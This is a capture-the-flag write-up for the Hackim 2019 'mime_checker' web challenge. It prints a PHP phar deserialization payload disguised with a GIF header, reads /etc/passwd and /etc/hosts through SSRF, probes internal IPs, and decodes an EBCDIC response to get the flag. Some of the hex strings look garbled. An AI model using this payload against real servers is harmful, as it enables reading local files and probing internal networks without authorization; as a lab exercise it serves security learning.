



Hackim 2019 WRITE-UP

Web - mime\_checker



## CHALLENGE DESCRIPTION

```
http://web1.ctf.nullcon.net/
*Upload and check your Mim3 type*
```

## **SOLUTION**

This challenge will make you feel that it's a simple SSRF challenge, it have two inputs, one input expect a path to an image and the second input is for uploading an image.

The first input will not fetch any file unless it's an image because of the use of getimagesize(). After playing with the input for a bit, it seems like it will not break unless you really pass a url to an image.

Through brute forcing, we managed to get a backup file to the source code for the getmime.php, and it was getmime.bak.

https://raw.githubusercontent.com/nullcon/hackim-2019/master/web/mime\_checkr/apache/app/getmime.bak

Reading the source code and it seems like we can upload a phar file and make it look like an image using GIF magic header, the only thing that left is to cause a Deserialization attack using the MainClass and change the value of url to any file we want.

```
<?php
    class MainClass
{
        public $url = "file:///etc/passwd";
    }
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$o = new MainClass();
$phar->setMetadata($o);
$phar->stopBuffering();
}
```

This will produce a phar file that will fetch /etc/passwd for us. After parsing/etc/hosts and requesting from ip's from the same subnet, we got a weird response that looked like a binary blob from a python code

```
root@kali:~/Desktop/nullcon/o# python x.py file:///etc/hosts

File is not an image.

file:///etc/hosts127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.3 d038b936b122
```



```
root@kali:~/Desktop/nullcon/o# python x.py http://172.18.0.2
File is not an image.
http://172.18.0.2b'\xc8\x85\x93\x93\x96@a\x86\x85\xa3\x83\x88\xa1\\xad\xbd_|]M@@\x94\x85'
```

"b'\xc8\x85\x93\x96@a\x86\x85\xa3\x88\xa1|\xad\xbd\_|]M@@\x94\x85\"

It seams like an ebcdic encoded data, we used cp1047. To decode it we used a library in python called ebcdic.

```
import ebcdic
blob=b'\xc8\x85\x93\x96@a\x86\x85\xa3\x83\x88\xa11\xad\xbd_|]M@@\x94\x85'
print(blob.decode("cp1047"))
```

we got "Hello /fetch~%[]^@)( me", the /fetch~%[]^@)( seems like a url so we urlencoded it and sent it back.

The server responded with another binary blob and it was the flag.

 $b'\xc6\x93\x81\x87\xc0\xd7\xc8\xd7\m/xe2\xa3\x99\x85\x81\x94\xa2\m/x89\x85\m/xa3\xf0\xf0\m/xd4\x81\x89\x95\x81\x99\x85\x81\x94\xf0\xd0'$ 

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